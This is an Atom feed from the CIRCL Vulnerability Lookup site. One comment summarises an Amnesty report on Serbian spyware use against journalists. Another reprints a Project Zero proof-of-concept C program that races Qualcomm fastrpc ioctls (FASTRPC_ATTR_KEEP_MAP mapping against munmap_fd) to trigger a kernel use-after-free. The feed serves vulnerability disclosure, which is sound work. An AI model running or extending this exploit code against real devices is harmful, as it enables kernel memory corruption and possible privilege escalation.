https://cve.circl.lu/comments/feed Most recent comment. 2024-12-22T19:03:12.957316+00:00 Vulnerability Lookup info@circl.lu python-feedgen Contains only the most 10 recent comments. https://cve.circl.lu/comment/63467d03-38f4-4840-bb15-7a6df0e7160d Serbia: Authorities using spyware and Cellebrite forensic extraction tools to hack journalists and activists 2024-12-22T19:03:12.967664+00:00 Cédric Bonhomme http://cve.circl.lu/user/cedric > "Serbian police and intelligence authorities are using advanced phone spyware alongside mobile phone forensic products to unlawfully target journalists, environmental activists and other individuals in a covert surveillance campaign, a new Amnesty International report has revealed. " More information here: https://securitylab.amnesty.org/latest/2024/12/serbia-a-digital-prison-spyware-and-cellebrite-used-on-journalists-and-activists/ 2024-12-17T20:35:21.382555+00:00 https://cve.circl.lu/comment/23fd524b-475e-4b9f-8dc2-7b67f4cec409 FASTRPC_ATTR_KEEP_MAP logic bug allows fastrpc_internal_munmap_fd to concurrently free in-use mappings leading to UAF 2024-12-22T19:03:12.963466+00:00 Alexandre Dulaunoy http://cve.circl.lu/user/adulau Ref: [https://project-zero.issues.chromium.org/issues/42451725](https://project-zero.issues.chromium.org/issues/42451725) ~~~ #include "adsprpc_shared.h" #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/wait.h> #include <linux/dma-heap.h> #include <sys/mman.h> #include <errno.h> #include <pthread.h> #include <signal.h> #define FASTRPC_MODE_UNSIGNED_MODULE 8 #define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1) #define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2) #define FASTRPC_STATIC_HANDLE_LISTENER (3) #define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4) int dma_heap; int adsprpc_fd; int create_and_init_adsprpc() { int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY); if(adsprpc_fd == -1) { printf("open: %m\n"); return -1; } unsigned cid = 3; long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid); int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY); if(shell_fd == -1) { printf("open shell: %m\n"); return -1; } dma_heap = open("/dev/dma_heap/system",O_RDONLY); if(dma_heap == -1) { printf("open dma_heap: %m\n"); return -1; } struct dma_heap_allocation_data heap_data = { .len = 0x131000, .fd_flags = O_RDWR, }; ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data); if( ret < 0 || heap_data.fd < 0) { printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd); return -1; } void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0); long length = read(shell_fd,shell_file_dma,0x131000); if(length <= 0) { printf("read: %d %m\n",ret); return -1; } close(shell_fd); struct fastrpc_ioctl_init_attrs init = { .init = { .file = shell_file_dma, .filefd = heap_data.fd, .filelen = length, .mem = 0, .flags = FASTRPC_INIT_CREATE, }, .attrs = FASTRPC_MODE_UNSIGNED_MODULE }; ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init); if(ret < 0) { printf("init_attrs: %d %m\n",ret); return -1; } return adsprpc_fd; } pthread_barrier_t* barrier; pthread_t tid_inv,tid_int; unsigned long* value_loc; struct dma_heap_allocation_data heap_data = { .len = 0x10000, .fd_flags = O_RDWR, }; void handler(int signo, siginfo_t *info, void* context) { return; } sig_atomic_t jobid = 0; long submit_job() { unsigned value = 255; unsigned out_values[256] = {0}; struct fastrpc_ioctl_invoke_async ioctl_arg; remote_arg_t ra[2]; ra[0].buf.pv = (void *)&value; ra[0].buf.len = sizeof(value); ra[1].buf.pv = (void *)(&out_values[1]); ra[1].buf.len = value * sizeof(uint32_t); ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS; ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1); ioctl_arg.inv.pra = ra; ioctl_arg.fds = NULL; ioctl_arg.attrs = NULL; ioctl_arg.crc = NULL; ioctl_arg.perf_kernel = NULL; ioctl_arg.perf_dsp = NULL; ioctl_arg.job = NULL; ioctl_arg.job = malloc(sizeof(*ioctl_arg.job)); ioctl_arg.job->isasyncjob = 1; ioctl_arg.job->jobid = jobid++; struct fastrpc_ioctl_invoke2 inv; inv.invparam = &ioctl_arg; inv.req = FASTRPC_INVOKE2_ASYNC; inv.size = sizeof(struct fastrpc_ioctl_invoke_async); long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv); printf("submit job ret: %lx %m\n",ret); return ret; } void* thread_inv(void* arg) { while(1) { //Need to replace value with & new map on other thread unsigned value = 255; unsigned out_values[256] = {0}; long ret; //Not using submit_job() to increase race precision struct fastrpc_ioctl_invoke_async ioctl_arg; remote_arg_t ra[2]; ra[0].buf.pv = (void *)0; ra[0].buf.len = sizeof(value); ra[1].buf.pv = (void *)(&out_values[1]); ra[1].buf.len = value * sizeof(uint32_t); ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS; ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1); ioctl_arg.inv.pra = ra; ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int)); ioctl_arg.fds[0] = heap_data.fd; ioctl_arg.fds[1] = -1; ioctl_arg.attrs = NULL; ioctl_arg.crc = NULL; ioctl_arg.perf_kernel = NULL; ioctl_arg.perf_dsp = NULL; ioctl_arg.job = malloc(sizeof(*ioctl_arg.job)); ioctl_arg.job->isasyncjob = 1; ioctl_arg.job->jobid = jobid++; struct fastrpc_ioctl_invoke2 inv; inv.invparam = &ioctl_arg; inv.req = FASTRPC_INVOKE2_ASYNC; inv.size = sizeof(struct fastrpc_ioctl_invoke_async); close(heap_data.fd); pthread_barrier_wait(barrier); ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv); printf("job submit: %ld %m\n",ret); fflush(stdout); if(!ret) { *((unsigned*) &barrier[1]) = 1; pthread_barrier_wait(barrier); exit(0); } pthread_barrier_wait(barrier); } return NULL; } int main() { adsprpc_fd = create_and_init_adsprpc(); if(adsprpc_fd == -1) { printf("failed to open adsprpc...\n"); return 1; } barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0); pthread_barrierattr_t attr; pthread_barrierattr_init(&attr); pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED); pthread_barrier_init(barrier,&attr,2); //pthread_create(&tid_int,NULL,&thread_interrupt,NULL); int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data); if( ret < 0 || heap_data.fd < 0) { printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd); return -1; } // for(unsigned i = 0; i < 1022; i++) { // if(submit_job() < 0) { // printf("failed to submit a job at i = %u\n",i); // exit(0); // } // } printf("mapping...\n"); fflush(stdout); value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0); pid_t pid; if(!(pid = fork())) { thread_inv(NULL); exit(0); } // pthread_create(&tid_inv,NULL,&thread_inv,NULL); unsigned long spoof_map = 0x2000; uint64_t vaddrouts[1024]; unsigned top = 0; do { struct fastrpc_ioctl_mem_map mmap_struct = { .m = { .flags = 0, .fd = heap_data.fd, .length = 0x2000, .attrs = 0, .vaddrin = spoof_map, .vaddrout = 0, .offset = 0, } }; spoof_map += 0x2000; unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout); vaddrouts[top] = mmap_struct.m.vaddrout; } while (vaddrouts[top++]); // struct fastrpc_ioctl_mem_map mmap_struct = { // .m = { // .flags = 0, // .fd = heap_data.fd, // .length = 0x1000, // .attrs = 0, // .vaddrin = value_loc, // .offset = 0, // } // }; // //pthread_barrier_wait(&barrier); // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); // printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout); // struct fastrpc_ioctl_mem_unmap unmap_struct = { // .um = { // .fd = heap_data.fd, // .length = 0x1000, // .vaddr = mmap_struct.m.vaddrout // } // }; // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct); // printf("mem_unmap1: %lx\n",ioret); unsigned first = true; while(1) { struct fastrpc_ioctl_mem_map mmap_struct = { .m = { .flags = FASTRPC_MAP_FD_NOMAP, .fd = heap_data.fd, .length = 0x1000, .attrs = FASTRPC_ATTR_KEEP_MAP, .vaddrin = value_loc, .offset = -1, } }; pthread_barrier_wait(barrier); unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct); printf("mem_map2: %lx\n",ret); fflush(stdout); struct fastrpc_ioctl_munmap_fd final_munmap = { .fd = heap_data.fd, .flags = 0, .len = 0x1000, .va = 0 }; unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap); printf("munmap fd: %lx %m\n",final_ret); pthread_barrier_wait(barrier); if(*(unsigned*)&barrier[1]) { break; } if(first && fgetc(stdin) == 'n') { kill(pid,SIGKILL); exit(0); } first = false; } // pthread_join(tid_int,NULL); // pthread_join(tid_inv,NULL); // for(unsigned i = 0; i < top; i++) // { // struct fastrpc_ioctl_mem_unmap unmap_struct = { // .um = { // .fd = heap_data.fd, // .length = 0x2000, // .vaddr = vaddrouts[i], // } // }; // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct); // if(ioret) // printf("unexpected unmap fail %lx %m\n",ioret); // } // while(1) sleep(1); return 0; // struct fastrpc_ioctl_mmap mmap_struct2 = { // .fd = -1, // .flags = ADSP_MMAP_HEAP_ADDR, // .vaddrin = 0, // .size = 0x1000 // }; // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2); // if(ret < 0) // { // printf("ret mmap: %lx %m\n",ret); // } // printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout); } ~~~ 2024-12-18T13:25:07.723264+00:00